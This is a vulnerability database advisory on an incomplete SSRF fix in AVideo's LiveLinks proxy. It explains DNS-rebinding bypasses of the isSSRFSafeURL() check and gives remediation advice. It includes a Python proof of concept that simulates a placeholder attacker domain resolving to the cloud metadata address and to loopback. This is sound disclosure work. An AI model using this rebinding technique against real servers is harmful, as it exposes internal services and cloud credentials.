Vulnerability Database

352,262

Total vulnerabilities in the database

WWBN AVideo has an incomplete fix for CVE-2026-33039: SSRF — wwbn / avideo

Server-Side Request Forgery (SSRF)

Summary

The incomplete SSRF fix in AVideo's LiveLinks proxy adds isSSRFSafeURL() validation but leaves DNS TOCTOU vulnerabilities where DNS rebinding between validation and the actual HTTP request redirects traffic to internal endpoints.

Affected Package

  • Ecosystem: Other
  • Package: AVideo
  • Affected versions: < commit 0e56382921fc71e64829cd1ec35f04e338c70917
  • Patched versions: >= commit 0e56382921fc71e64829cd1ec35f04e338c70917

Details

The plugin/LiveLinks/proxy.php endpoint proxies live stream URLs. The fix adds isSSRFSafeURL() check on the initial URL, redirect URL validation, and follow_location=0 in the get_headers() context. However, multiple DNS TOCTOU vulnerabilities remain.

For the initial URL, isSSRFSafeURL() resolves DNS once for validation, but get_headers() resolves DNS again independently. A DNS rebinding attack with TTL=0 returns a safe external IP for the first resolution and an internal IP for the second.

The same TOCTOU exists for redirect URLs: isSSRFSafeURL() validates the redirect target (first resolution returns a safe IP), then fakeBrowser() makes the actual request (second resolution returns an internal IP).

Additionally, even with follow_location=0, get_headers() still sends an HTTP request that can probe internal services via DNS rebinding, and multiple Location headers in a response cause filter_var() to receive an array instead of a string, resulting in a fall-through to the else branch.

PoC

#!/usr/bin/env python3 &quot;&quot;&quot; CVE-2026-33039 - AVideo LiveLinks Proxy SSRF via DNS Rebinding &quot;&quot;&quot; import re import sys class DNSResolver: def __init__(self): self._call_count = {} def resolve(self, host): if host not in self._call_count: self._call_count[host] = 0 self._call_count[host] += 1 if host == &quot;rebind.attacker.com&quot;: return &quot;93.184.216.34&quot; if self._call_count[host] == 1 else &quot;169.254.169.254&quot; if host == &quot;rebind-loopback.attacker.com&quot;: return &quot;93.184.216.34&quot; if self._call_count[host] == 1 else &quot;127.0.0.1&quot; static = {&quot;attacker.com&quot;: &quot;93.184.216.34&quot;, &quot;example.com&quot;: &quot;93.184.216.34&quot;, &quot;localhost&quot;: &quot;127.0.0.1&quot;} return static.get(host, None) def reset(self): self._call_count = {} dns = DNSResolver() def php_parse_url_host(url): match = re.match(r&#039;https?://([^/:?#]+)&#039;, url, re.IGNORECASE) return match.group(1).lower() if match else None def php_filter_validate_ip(s): if re.match(r&#039;^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$&#039;, s): return all(0 &lt;= int(p) &lt;= 255 for p in s.split(&#039;.&#039;)) return False def is_ssrf_safe_url(url): if not url: return False, &quot;empty&quot; host = php_parse_url_host(url) if not host: return False, &quot;no host&quot; for pat in [&#039;localhost&#039;, &#039;127.0.0.1&#039;, &#039;::1&#039;, &#039;0.0.0.0&#039;]: if host == pat: return False, f&quot;blocked: {host}&quot; ip = host if not php_filter_validate_ip(host): resolved = dns.resolve(host) if not resolved: return False, &quot;DNS failed&quot; ip = resolved for pattern in [r&#039;^10\.&#039;, r&#039;^172\.(1[6-9]|2\d|3[0-1])\.&#039;, r&#039;^192\.168\.&#039;, r&#039;^127\.&#039;, r&#039;^169\.254\.&#039;]: if re.match(pattern, ip): return False, f&quot;blocked: {ip}&quot; return True, f&quot;allowed ({ip})&quot; def main(): print(&quot;=&quot; * 72) print(&quot;CVE-2026-33039 - AVideo LiveLinks Proxy SSRF PoC&quot;) print(&quot;=&quot; * 72) vuln_count = 0 print(&quot;\n[TEST 1] DNS rebinding on initial URL&quot;) dns.reset() safe, reason = is_ssrf_safe_url(&quot;http://rebind.attacker.com/meta-data/&quot;) actual_ip = dns.resolve(&quot;rebind.attacker.com&quot;) print(f&quot; isSSRFSafeURL: safe={safe}, reason={reason}&quot;) print(f&quot; Actual request goes to: {actual_ip}&quot;) if safe and actual_ip == &quot;169.254.169.254&quot;: print(&quot; =&gt; BYPASS!&quot;) vuln_count += 1 print(&quot;\n[TEST 2] DNS rebinding on redirect URL&quot;) dns.reset() safe_r, _ = is_ssrf_safe_url(&quot;http://rebind-loopback.attacker.com/admin/&quot;) final_ip = dns.resolve(&quot;rebind-loopback.attacker.com&quot;) print(f&quot; isSSRFSafeURL: safe={safe_r}&quot;) print(f&quot; fakeBrowser() goes to: {final_ip}&quot;) if safe_r and final_ip == &quot;127.0.0.1&quot;: print(&quot; =&gt; BYPASS!&quot;) vuln_count += 1 print(&quot;\n[TEST 3] get_headers() side-effect&quot;) dns.reset() safe, _ = is_ssrf_safe_url(&quot;http://rebind.attacker.com:8080/probe&quot;) side_ip = dns.resolve(&quot;rebind.attacker.com&quot;) print(f&quot; isSSRFSafeURL passed: {safe}&quot;) print(f&quot; get_headers() reached: {side_ip}&quot;) if safe and side_ip == &quot;169.254.169.254&quot;: print(&quot; =&gt; BYPASS!&quot;) vuln_count += 1 print(f&quot;\nBypass vectors: {vuln_count}&quot;) if vuln_count &gt; 0: print(&quot;\nVULNERABILITY CONFIRMED&quot;) return 0 return 1 if __name__ == &quot;__main__&quot;: sys.exit(main())

Steps to reproduce:

  1. Run python3 poc.py.
  2. Observe that all three DNS rebinding bypass vectors succeed.

Expected output:

VULNERABILITY CONFIRMED DNS TOCTOU bypass vectors succeed on initial URL, redirect URL, and get_headers() side-effect paths.

Impact

DNS rebinding allows an attacker to bypass SSRF validation and make the server send requests to internal services, cloud metadata endpoints, and other protected resources.

Suggested Remediation

Pin DNS resolution: resolve the hostname once, validate the IP, and use the resolved IP for the actual request via CURLOPT_RESOLVE or equivalent. Remove the get_headers() call. Block redirects entirely or re-validate using pinned DNS after each redirect.

  • Published: Apr 14, 2026
  • Updated: Apr 15, 2026
  • GHSA: GHSA-793q-xgj6-7frp
  • Severity: Medium
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: Unknown
  • Score:
  • AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CWEs:

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.